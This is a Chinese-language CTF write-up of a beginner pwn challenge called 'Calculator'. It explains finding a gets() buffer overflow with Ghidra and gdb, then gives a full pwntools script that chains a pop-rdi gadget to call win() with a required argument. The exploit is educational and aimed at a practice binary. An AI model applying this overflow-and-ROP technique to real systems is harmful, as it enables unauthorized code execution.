[PWN] Easy - is1ab CTF 2024 - ──(﹙˓ᯤ˒﹚)──

1452 words

7 minutes

[PWN] Easy - is1ab CTF 2024

2024-09-28

PWN-Learning

CTF

/

學習筆記

【is1ab 新生盃CTF 2024】

Calculator
參考資料

題目敘述#

如果想邊解題邊聽 writeup 分享，可以先至雲端硬碟區，下載題目檔案。 G00gle Dr1ve 在此 (o🪄’▽‘)o🪄

檔案基本資訊#

1
$ file

ELF 執行檔案
x86-64 架構
dynamically linked

1
$ checksec

發現保護機制只有開 NX 和 Partial RELRO。
- NX(No-eXecute): 一句話快速解釋，就是防止寫入的 shellcode 可以執行。
- Partial RELRO - 正常預設已經有開。

你逆!#

先使用 ghidra#

逐一點進感興趣的 Functions 。

像是從 main 開始。

1
undefined8 main(void)
2
{
3
  int iVar1;
4

5
  setvbuf(stdin,(char *)0x0,2,0);
6
  setvbuf(stdout,(char *)0x0,2,0);
7
  setvbuf(stderr,(char *)0x0,2,0);
8
  puts("             _               _         _                ");
9
  puts(" ____   _   | |  ___  _   _ | |  __ _ | |_   ___   _ __ ");
10
  puts("/  __ / _` || | / __|| | | || | / _` || __| / _ \\ | \'__|");
11
  puts("| (__| (_| || || (__ | |_| || || (_| || |_ | (_) || |   ");
12
  puts(" \\___|\\__,_||_| \\___| \\__,_||_| \\__,_| \\__| \\___/ |_|   ");
13
  puts("                                                          ");
14
  do {
15
    calculator();
16
    iVar1 = goodbye();
17
  } while (iVar1 == 0);
18
  return 0;
19
}

那就先去看一下 calculator() 在做什麼事情吧!

1
void calculator(void)
2
{
3
  int iVar1;
4
  char local_121;
5
  uint local_120;
6
  uint local_11c;
7
  char local_118 [268];
8
  uint local_c;
9

10
  puts("This is a calculator, you know what to do ! ");
11
  puts("If you want to leave, please press \'q\' ");
12
LAB_004012f6:
13
  while( true ) {
14
    while( true ) {
15
      printf("\nInput : ");
16
      fgets(local_118,0x100,stdin);
17
      if (local_118[0] == 'q') {
18
        puts("Exiting calculator...");
19
        return;
20
      }
21
      iVar1 = __isoc99_sscanf(local_118,"%d %c %d",&local_11c,&local_121,&local_120);
22
      if (iVar1 == 3) break;
23
      puts("Invalid input format. Please use the format: 1 + 1");
24
    }
25
    if (local_121 != '/') break;
26
    if (local_120 == 0) {
27
      puts("Error: Division by zero!");
28
    }
29
    else {
30
      local_c = (int)local_11c / (int)local_120;
31
      printf("Output : %d / %d = %d\n",(ulong)local_11c,(ulong)local_120,(ulong)local_c);
32
    }
33
  }
34
  if (local_121 < '0') {
35
    if (local_121 == '-') {
36
      local_c = local_11c - local_120;
37
      printf("Output : %d - %d = %d\n",(ulong)local_11c,(ulong)local_120,(ulong)local_c);
38
      goto LAB_004012f6;
39
    }
40
    if (local_121 < '.') {
41
      if (local_121 == '*') {
42
        local_c = local_120 * local_11c;
43
        printf("Output : %d * %d = %d\n",(ulong)local_11c,(ulong)local_120,(ulong)local_c);
44
      }
45
      else {
46
        if (local_121 != '+') goto LAB_004014bb;
47
        local_c = local_120 + local_11c;
48
        printf("Output : %d + %d = %d\n",(ulong)local_11c,(ulong)local_120,(ulong)local_c);
49
      }
50
      goto LAB_004012f6;
51
    }
52
  }
53
LAB_004014bb:
54
  puts("Invalid operation!");
55
  goto LAB_004012f6;
56
}

接著怎麼有個 win() 看起來就很像有 flag。

1
void win(int param_1)
2
{
3
  undefined8 local_58;
4
  undefined8 local_50;
5
  undefined8 local_48;
6
  undefined8 local_40;
7
  undefined8 local_38;
8
  undefined8 local_30;
9
  undefined8 local_28;
10
  undefined8 local_20;
11
  FILE *local_10;
12

13
  if (param_1 == -0x3f01454d) {
14
    local_58 = 0;
15
    local_50 = 0;
16
    local_48 = 0;
17
    local_40 = 0;
18
    local_38 = 0;
19
    local_30 = 0;
20
    local_28 = 0;
21
    local_20 = 0;
22
    local_10 = fopen("/home/ctf/flag.txt","r");
23
    if (local_10 == (FILE *)0x0) {
24
      puts("Opps, you forget creating \'flag.txt\' to help you debug");
25
                    /* WARNING: Subroutine does not return */
26
      exit(0);
27
    }
28
    fgets((char *)&local_58,0x40,local_10);
29
    puts("Dame! You are a calculator expert!");
30
    puts((char *)&local_58);
31
  }
32
  else {
33
    puts("So close !!");
34
  }
35
  return;
36
}

有是有，但是有個 if 條件式要先符合。
很醜的 param_1 == -0x3f01454d 是什麼意思
- 從 assembly code 可以知道:

Ummm，好像沒什麼不正常的，那再去翻一下 goodbye()。

1
undefined8 goodbye(void)
2

3
{
4
  undefined8 uVar1;
5
  char local_c [4];
6

7
  puts("Are you sure you want to leave? [Y/n]");
8
  gets(local_c);
9
  if ((local_c[0] == 'y') || (local_c[0] == 'Y')) {
10
    puts("bye!bye!");
11
    uVar1 = 1;
12
  }
13
  else {
14
    uVar1 = 0;
15
  }
16
  return uVar1;
17
}

🔎 阿哈，是不是出現什麼熟悉的 unsafe function#

沒錯，就是在第八行 `gets(local_c)` 不會檢查使用者的輸入長度。#

Buffer_Overflow_戳一下#

複習 stack frame
從 goodbye() 可以知道 local_c 的 buffer 大小為 4-bytes 。

1
char local_c [4];

加上 x64 架構下的 rbp 是 8-bytes 。

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ file calculator
3
calculator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib6 BuildID[sha1]=bdd857945d4521a6a0ea022988f98642f0421868, for GNU/Linux 3.2.0, not stripped

💡 Payload_1 - Buffer Padding

1
buffer_padding = local_c_buffer + rpb_buffer
2
               = 4 + 8 = 12 #bytes

gdb + gef#

透過 gdb ，確認一下 local_c 的 buffer 。

1
$ pattern create 0x10
2
$ pattern search 0x6161616261616161
3

4
gef➤  patter search 0x6161616261616161
5
[+] Searching for '6161616162616161'/'6161616261616161' with period=8
6
[+] Found at offset 4 (little-endian search) likely

再嘗試寫 payload ，試試看是否可以順利跳到 win()

💡 payload_2 - Overwrite return address

1
payload_2 = b'a'*12 + p64(win_addr)

答案是 so close !!，那我們離 flag 還有多遠呢?

1
╰─ python3 test.py
2
[+] Starting program './calculator': Done
3
[*] Switching to interactive mode
4
So close !!
5
[*] Got EOF while reading in interactive

Basic_ROP#

先了解條件，再去找合適的 gadget#

條件: win(para_1) 的 para_1 = 0xc0febab3
但是在透過工具找 gadget 以前，有一個 function 叫做 gadget()，應該蠻故意的吧。
所以，看一下內容:
```
1
void gadget(void)
2

3
{
4
  return;
5
}
```
Weeeeee，有用的 gadget 來了。
雖然好像還是看 assembly code 比較好理解。

💡 payload_3 - Gadget & Parameter

1
payload_3 = b'a'*12 + p64(pop_rdi_ret) + p64(parameter)

獲得了3個重要拼圖，然後呢，怎麼放#

很怒，因為 payload 一直沒寫好，所以暴力亂塞看看?
- 並沒有，還是有認真思考過，請看下方思考筆記 ヾ(´ε`ヾ)

💡 final_payload

1
from pwn import *
2

3
#r = remote('127.0.0.1', 33537)
4
p = process('./calculator')
5

6
context.arch = 'amd64'
7

8
pop_rdi_ret = 0x40119a
9
para1 = 0xc0febab3
10
win_adr = 0x40119f
11

12
input = b'q'
13
payload = b'a'*12
14
payload += p64(pop_rdi_ret)
15
payload += p64(para1)
16
payload += p64(win_adr)
17

18
p.recvuntil(b': ')
19
p.sendline(input)
20

21
p.recvuntil(b'[Y/n]\n')
22
p.sendline(payload)
23

24
p.interactive()

x86_傳遞參數小補充#

stack frame範例

假設有一個 source code ，在 main() 裡需要 call foo()。

1
#include <stdio.h>
2
int foo ( int arg0, int arg1 ) {
3
    int sum;
4
    int a = 2, b = 3, c = 4, d = 5;
5
    sum = arg0 + arg1 + a * b / c * d;
6
    return sum;
7
}
8
int main () {
9
    int a, b, c;
10
    a = 1;
11
    b = 2;
12
    c = foo ( a, b ) ;
13
    printf ( "c = %d\n" , c ) ;
14
    return 0;
15
}